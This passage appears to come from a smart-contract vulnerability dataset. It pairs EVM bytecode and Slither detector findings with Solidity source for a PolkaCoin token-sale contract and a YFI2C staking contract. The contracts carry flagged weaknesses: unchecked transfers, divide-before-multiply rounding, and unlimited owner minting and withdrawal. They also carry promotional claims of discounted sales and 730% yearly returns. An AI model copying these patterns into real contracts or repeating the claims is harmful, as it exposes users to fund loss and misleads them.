ffffff161415610f6c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806110326026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60003390509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220fbae05e72918ece9e7053295a2b693ca09289c2d626bd8213aa0d55e534dec6564736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 2,452 |
0xc1af7d3db15b96d20a203d0bae4eaf1c54fa50bb
|
/*
____ _ _ ____ _
| _ \ ___ | | | ____ _ / ___|___ (_)_ __
| |_) / _ \| | |/ / _` | | / _ \| | '_ \
| __/ (_) | | < (_| | |__| (_) | | | | |
|_| \___/|_|_|\_\__,_|\____\___/|_|_| |_|
(PKC)
PolkaCoin is a cross-chain DeFi protocol that allows investors to participate in lending, staking, yield farming & liquidity project on different blockchains
Website: https://polkacoin.tech/
Twitter: https://twitter.com/polkacoin
Medium: https://medium.com/@PolkaCoin
PolkaCoin token sale price is 0.00006 ETH/PKC (25% discount from Uniswap listing)
*/
pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
//require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing");
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
//require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
//require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing");
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
//require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing");
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
//require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing");
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract POLKACOINFinance is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
uint256 public tokenSalePrice = 0.00006 ether;
bool public _tokenSaleMode = true;
address public governance;
mapping (address => bool) public minters;
constructor () public ERC20Detailed("PolkaCoin.Tech", "PKC", 18) {
governance = msg.sender;
minters[msg.sender] = true;
}
function mint(address account, uint256 amount) public {
require(minters[msg.sender], "!minter");
_mint(account, amount);
}
function burn(uint256 amount) public {
_burn(msg.sender, amount);
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function addMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = true;
}
function removeMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = false;
}
function buyToken() public payable {
require(_tokenSaleMode, "token sale is over");
uint256 newTokens = SafeMath.mul(SafeMath.div(msg.value, tokenSalePrice),1e18);
_mint(msg.sender, newTokens);
}
function() external payable {
buyToken();
}
function endTokenSale() public {
require(msg.sender == governance, "!governance");
_tokenSaleMode = false;
}
function withdraw() external {
require(msg.sender == governance, "!governance");
msg.sender.transfer(address(this).balance);
}
}
|
0x6080604052600436106101405760003560e01c80635aa6e675116100b6578063a9059cbb1161006f578063a9059cbb14610494578063ab033ea9146104cd578063dd62ed3e14610500578063e55bfd161461053b578063e86790eb14610550578063f46eccc41461056557610140565b80635aa6e675146103af57806370a08231146103e057806395d89b4114610413578063983b2d5614610428578063a457c2d71461045b578063a48217191461014057610140565b80633092afd5116101085780633092afd5146102a0578063313ce567146102d357806339509351146102fe5780633ccfd60b1461033757806340c10f191461034c57806342966c681461038557610140565b806306fdde031461014a578063095ea7b3146101d457806318160ddd1461022157806323b872dd14610248578063307edff81461028b575b610148610598565b005b34801561015657600080fd5b5061015f610612565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610199578181015183820152602001610181565b50505050905090810190601f1680156101c65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e057600080fd5b5061020d600480360360408110156101f757600080fd5b506001600160a01b0381351690602001356106a8565b604080519115158252519081900360200190f35b34801561022d57600080fd5b506102366106c6565b60408051918252519081900360200190f35b34801561025457600080fd5b5061020d6004803603606081101561026b57600080fd5b506001600160a01b038135811691602081013590911690604001356106cc565b34801561029757600080fd5b50610148610759565b3480156102ac57600080fd5b50610148600480360360208110156102c357600080fd5b50356001600160a01b03166107b7565b3480156102df57600080fd5b506102e861082a565b6040805160ff9092168252519081900360200190f35b34801561030a57600080fd5b5061020d6004803603604081101561032157600080fd5b506001600160a01b038135169060200135610833565b34801561034357600080fd5b50610148610887565b34801561035857600080fd5b506101486004803603604081101561036f57600080fd5b506001600160a01b038135169060200135610905565b34801561039157600080fd5b50610148600480360360208110156103a857600080fd5b5035610961565b3480156103bb57600080fd5b506103c461096b565b604080516001600160a01b039092168252519081900360200190f35b3480156103ec57600080fd5b506102366004803603602081101561040357600080fd5b50356001600160a01b031661097f565b34801561041f57600080fd5b5061015f61099a565b34801561043457600080fd5b506101486004803603602081101561044b57600080fd5b50356001600160a01b03166109fb565b34801561046757600080fd5b5061020d6004803603604081101561047e57600080fd5b506001600160a01b038135169060200135610a71565b3480156104a057600080fd5b5061020d600480360360408110156104b757600080fd5b506001600160a01b038135169060200135610adf565b3480156104d957600080fd5b50610148600480360360208110156104f057600080fd5b50356001600160a01b0316610af3565b34801561050c57600080fd5b506102366004803603604081101561052357600080fd5b506001600160a01b0381358116916020013516610b6d565b34801561054757600080fd5b5061020d610b98565b34801561055c57600080fd5b50610236610ba1565b34801561057157600080fd5b5061020d6004803603602081101561058857600080fd5b50356001600160a01b0316610ba7565b60075460ff166105e4576040805162461bcd60e51b81526020600482015260126024820152713a37b5b2b71039b0b6329034b99037bb32b960711b604482015290519081900360640190fd5b60006106036105f534600654610bbc565b670de0b6b3a7640000610c05565b905061060f3382610c5e565b50565b60038054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561069e5780601f106106735761010080835404028352916020019161069e565b820191906000526020600020905b81548152906001019060200180831161068157829003601f168201915b5050505050905090565b60006106bc6106b5610d4e565b8484610d52565b5060015b92915050565b60025490565b60006106d9848484610e3e565b61074f846106e5610d4e565b61074a856040518060600160405280602881526020016112dd602891396001600160a01b038a16600090815260016020526040812090610723610d4e565b6001600160a01b03168152602081019190915260400160002054919063ffffffff610f9a16565b610d52565b5060019392505050565b60075461010090046001600160a01b031633146107ab576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6007805460ff19169055565b60075461010090046001600160a01b03163314610809576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6001600160a01b03166000908152600860205260409020805460ff19169055565b60055460ff1690565b60006106bc610840610d4e565b8461074a8560016000610851610d4e565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff61103116565b60075461010090046001600160a01b031633146108d9576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f1935050505015801561060f573d6000803e3d6000fd5b3360009081526008602052604090205460ff16610953576040805162461bcd60e51b815260206004820152600760248201526610b6b4b73a32b960c91b604482015290519081900360640190fd5b61095d8282610c5e565b5050565b61060f338261108b565b60075461010090046001600160a01b031681565b6001600160a01b031660009081526020819052604090205490565b60048054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561069e5780601f106106735761010080835404028352916020019161069e565b60075461010090046001600160a01b03163314610a4d576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6001600160a01b03166000908152600860205260409020805460ff19166001179055565b60006106bc610a7e610d4e565b8461074a8560405180606001604052806025815260200161136f6025913960016000610aa8610d4e565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff610f9a16565b60006106bc610aec610d4e565b8484610e3e565b60075461010090046001600160a01b03163314610b45576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600780546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60075460ff1681565b60065481565b60086020526000908152604090205460ff1681565b6000610bfe83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611187565b9392505050565b600082610c14575060006106c0565b82820282848281610c2157fe5b0414610bfe5760405162461bcd60e51b81526004018080602001828103825260218152602001806112bc6021913960400191505060405180910390fd5b6001600160a01b038216610cb9576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600254610ccc908263ffffffff61103116565b6002556001600160a01b038216600090815260208190526040902054610cf8908263ffffffff61103116565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b3390565b6001600160a01b038316610d975760405162461bcd60e51b815260040180806020018281038252602481526020018061134b6024913960400191505060405180910390fd5b6001600160a01b038216610ddc5760405162461bcd60e51b81526004018080602001828103825260228152602001806112746022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610e835760405162461bcd60e51b81526004018080602001828103825260258152602001806113266025913960400191505060405180910390fd5b6001600160a01b038216610ec85760405162461bcd60e51b815260040180806020018281038252602381526020018061122f6023913960400191505060405180910390fd5b610f0b81604051806060016040528060268152602001611296602691396001600160a01b038616600090815260208190526040902054919063ffffffff610f9a16565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610f40908263ffffffff61103116565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156110295760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610fee578181015183820152602001610fd6565b50505050905090810190601f16801561101b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610bfe576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b0382166110d05760405162461bcd60e51b81526004018080602001828103825260218152602001806113056021913960400191505060405180910390fd5b61111381604051806060016040528060228152602001611252602291396001600160a01b038516600090815260208190526040902054919063ffffffff610f9a16565b6001600160a01b03831660009081526020819052604090205560025461113f908263ffffffff6111ec16565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600081836111d65760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610fee578181015183820152602001610fd6565b5060008385816111e257fe5b0495945050505050565b6000610bfe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f9a56fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a7231582003fbb963672ab278057075a648656333056a5d4a6e5cd237adde30137d2183a764736f6c63430005100032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 2,453 |
0x46b8dee70ef79f3d308bc6063e69e3a7d90601f4
|
/**
*Submitted for verification at Etherscan.io on 2021-01-25
*/
pragma solidity 0.6.12;
// SPDX-License-Identifier: MIT
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library EnumerableSet {
struct Set {
bytes32[] _values;
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract YFI2CStakingTwoPercent is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// YFI2C token contract address
address public constant tokenAddress = 0xdb665ab1D56B6821Aea7ca8F3BB2F7d805d4B1E1;
// reward rate 730.00% per year
uint public constant rewardRate = 73000;
uint public constant rewardInterval = 365 days; // 2% per day
// staking fee 1.5 %
uint public constant stakingFeeRate = 150;
// unstaking fee 0.5 %
uint public constant unstakingFeeRate = 50;
// unstaking possible after 720 hours
uint public constant cliffTime = 720 hours;
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = now;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint pendingDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToStake) public {
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint fee = amountToStake.mul(stakingFeeRate).div(1e4);
uint amountAfterFee = amountToStake.sub(fee);
require(Token(tokenAddress).transfer(owner, fee), "Could not transfer deposit fee.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function withdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing.");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(tokenAddress).transfer(owner, fee), "Could not transfer withdraw fee.");
require(Token(tokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claimDivs() public {
updateAccount(msg.sender);
}
function getStakersList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakingTimestamps[listIndex] = stakingTime[staker];
_lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
uint private constant stakingAndDaoTokens = 250e18; // 250 YFI2C will be staked by owner
function getStakingAndDaoAmount() public view returns (uint) {
if (totalClaimedRewards >= stakingAndDaoTokens) {
return 0;
}
uint remaining = stakingAndDaoTokens.sub(totalClaimedRewards);
return remaining;
}
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
require (_tokenAddr != tokenAddress, "Cannot Transfer Out YFI2C!");
Token(_tokenAddr).transfer(_to, _amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101375760003560e01c80637b0a47ee116100b8578063bec4de3f1161007c578063bec4de3f1461057b578063c326bf4f14610599578063d578ceab146105f1578063d816c7d51461060f578063f2fde38b1461062d578063f3f91fa01461067157610137565b80637b0a47ee1461046f5780638da5cb5b1461048d57806398896d10146104c15780639d76ea5814610519578063b6b55f251461054d57610137565b8063308feec3116100ff578063308feec314610315578063583d42fd146103335780635ef057be1461038b5780636270cd18146103a95780636a395ccb1461040157610137565b80630f1a64441461013c5780631911cf4a1461015a57806319aa70e7146102bf578063268cab49146102c95780632e1a7d4d146102e7575b600080fd5b6101446106c9565b6040518082815260200191505060405180910390f35b6101906004803603604081101561017057600080fd5b8101908080359060200190929190803590602001909291905050506106d0565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b838110156101df5780820151818401526020810190506101c4565b50505050905001858103845288818151815260200191508051906020019060200280838360005b83811015610221578082015181840152602081019050610206565b50505050905001858103835287818151815260200191508051906020019060200280838360005b83811015610263578082015181840152602081019050610248565b50505050905001858103825286818151815260200191508051906020019060200280838360005b838110156102a557808201518184015260208101905061028a565b505050509050019850505050505050505060405180910390f35b6102c76109e9565b005b6102d16109f4565b6040518082815260200191505060405180910390f35b610313600480360360208110156102fd57600080fd5b8101908080359060200190929190505050610a3b565b005b61031d610f80565b6040518082815260200191505060405180910390f35b6103756004803603602081101561034957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f91565b6040518082815260200191505060405180910390f35b610393610fa9565b6040518082815260200191505060405180910390f35b6103eb600480360360208110156103bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fae565b6040518082815260200191505060405180910390f35b61046d6004803603606081101561041757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fc6565b005b610477611186565b6040518082815260200191505060405180910390f35b61049561118d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610503600480360360208110156104d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b1565b6040518082815260200191505060405180910390f35b610521611321565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105796004803603602081101561056357600080fd5b8101908080359060200190929190505050611339565b005b6105836117a9565b6040518082815260200191505060405180910390f35b6105db600480360360208110156105af57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117b1565b6040518082815260200191505060405180910390f35b6105f96117c9565b6040518082815260200191505060405180910390f35b6106176117cf565b6040518082815260200191505060405180910390f35b61066f6004803603602081101561064357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117d4565b005b6106b36004803603602081101561068757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611923565b6040518082815260200191505060405180910390f35b62278d0081565b6060806060808486106106e257600080fd5b60006106f7878761193b90919063ffffffff16565b905060608167ffffffffffffffff8111801561071257600080fd5b506040519080825280602002602001820160405280156107415781602001602082028036833780820191505090505b50905060608267ffffffffffffffff8111801561075d57600080fd5b5060405190808252806020026020018201604052801561078c5781602001602082028036833780820191505090505b50905060608367ffffffffffffffff811180156107a857600080fd5b506040519080825280602002602001820160405280156107d75781602001602082028036833780820191505090505b50905060608467ffffffffffffffff811180156107f357600080fd5b506040519080825280602002602001820160405280156108225781602001602082028036833780820191505090505b50905060008b90505b8a8110156109ce57600061084982600261195290919063ffffffff16565b905060006108608e8461193b90919063ffffffff16565b90508187828151811061086f57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548682815181106108f557fe5b602002602001018181525050600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485828151811061094d57fe5b602002602001018181525050600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548482815181106109a557fe5b60200260200101818152505050506109c760018261196c90919063ffffffff16565b905061082b565b50838383839850985098509850505050505092959194509250565b6109f233611988565b565b6000680d8d726b7177a8000060015410610a115760009050610a38565b6000610a31600154680d8d726b7177a8000061193b90919063ffffffff16565b9050809150505b90565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610af0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b62278d00610b46600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261193b90919063ffffffff16565b11610b9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526034815260200180611f3d6034913960400191505060405180910390fd5b610ba533611988565b6000610bcf612710610bc1603285611c1e90919063ffffffff16565b611c4d90919063ffffffff16565b90506000610be6828461193b9091906